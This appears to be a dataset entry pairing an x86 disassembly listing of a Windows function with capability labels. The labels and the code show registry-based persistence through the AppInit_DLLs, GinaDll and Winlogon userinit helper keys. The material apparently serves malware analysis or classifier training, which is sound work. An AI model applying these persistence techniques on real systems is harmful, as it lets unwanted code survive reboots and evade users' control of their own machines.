Function at 0x485b16
Capabilities:
Get common file path
Persist via appinit_dlls registry key
Persist via ginadll registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push edi
mov dword [ebp - 0x154], ecx
mov dword [ebp - 8], 0
lea ecx, [ebp + 8]
call fcn.00417440
mov eax, dword [eax + 0x108]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0xc], 0x19
je 0x485b57
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xc], 0x18
jne 0x485be4
mov ecx, dword [ebp - 0xc]
call fcn.004362b0
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
call fcn.004862a0
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x485b85
mov dword [ebp - 0x158], 0
jmp 0x485bc3
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 3
and al, 0xfc
call sub.ntdll.dll__alloca_probe
mov dword [ebp - 0x15c], esp
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x15c]
push eax
call fcn.00415510
mov dword [ebp - 0x158], eax
push 1
push 2
mov ecx, dword [ebp - 0x158]
push ecx
call fcn.004281f0
mov ecx, eax
call fcn.004284a8
mov eax, 1
jmp 0x485e6a
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0xc], 0xa
je 0x485bf6
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xc], 9
jne 0x485c75
mov ecx, dword [0x5426c4]
mov dword [ebp - 0x30], ecx
mov edx, dword [0x5426c8]
mov dword [ebp - 0x2c], edx
mov eax, dword [0x5426cc]
mov dword [ebp - 0x28], eax
mov cl, byte [0x5426d0]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 9
je 0x485c42
cmp dword [ebp - 0x160], 0xa
je 0x485c39
jmp 0x485c49
mov dword [ebp - 0x20], SysReAllocStringLen
jmp 0x485c49
mov dword [ebp - 0x20], reloc.OLEAUT32.dll_SysReAllocString
push 0xd
lea ecx, [ebp - 0x30]
push ecx
push 1
push 0x5426d4
push 0x5426dc
mov edx, dword [ebp - 0x20]
push edx
call fcn.0043ed70
mov ecx, eax
call fcn.0043f1c2
mov eax, 1
jmp 0x485e6a
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xc], 0x6e
jne 0x485d0d
mov byte [ebp - 0x138], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x137]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea ecx, [ebp - 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x34]
lea eax, [ebp + edx - 0x138]
mov dword [ebp - 0x13c], eax
push str.userinit.exe_
mov ecx, 0x104
sub ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x13c]
push edx
call fcn.00415480
push 0x104
lea eax, [ebp - 0x138]
push eax
push 1
push 0x542724
push 0x542730
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0043ed70
mov ecx, eax
call fcn.0043f1c2
mov eax, 1
jmp 0x485e6a
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + 0xc], 0x59
jne 0x485d69
mov edx, dword [0x542768]
mov dword [ebp - 0x148], edx
mov eax, dword [0x54276c]
mov dword [ebp - 0x144], eax
mov ecx, dword [0x542770]
mov dword [ebp - 0x140], ecx
push 0xc
lea edx, [ebp - 0x148]
push edx
push 2
push 0x542774
push 0x54277c
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0043ed70
mov ecx, eax
call fcn.0043f1c2
mov eax, 1
jmp 0x485e6a
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xc], 0x5b
jne 0x485d97
push str.GinaDll
push 0x5427bc
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0043ed70
mov ecx, eax
call fcn.0043f332
mov eax, 1
jmp 0x485e6a
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + 0xc], 0x82
jne 0x485e2c
mov ecx, dword [ebp - 0xc]
call fcn.004862d0
mov dword [ebp - 0x14c], eax
mov edx, dword [ebp - 0x14c]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
jne 0x485dd0
mov dword [ebp - 0x164], 0
jmp 0x485e0e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax + eax + 2]
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
add eax, 3
and al, 0xfc
call sub.ntdll.dll__alloca_probe
mov dword [ebp - 0x168], esp
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x168]
push ecx
call fcn.00415510
mov dword [ebp - 0x164], eax
push 1
push 4
mov edx, dword [ebp - 0x164]
push edx
call fcn.004281f0
mov ecx, eax
call fcn.004284a8
mov eax, 1
jmp 0x485e6a
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xc], 0x56
jne 0x485e68
mov cl, byte [0x563098]
mov byte [ebp - 0x150], cl
push 1
lea edx, [ebp - 0x150]
push edx
push 1
push str.Appinit_Dlls
push 0x542804
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov eax, 1
jmp 0x485e6a
xor eax, eax
lea esp, [ebp - 0x16c]
pop edi
mov esp, ebp
pop ebp
ret 8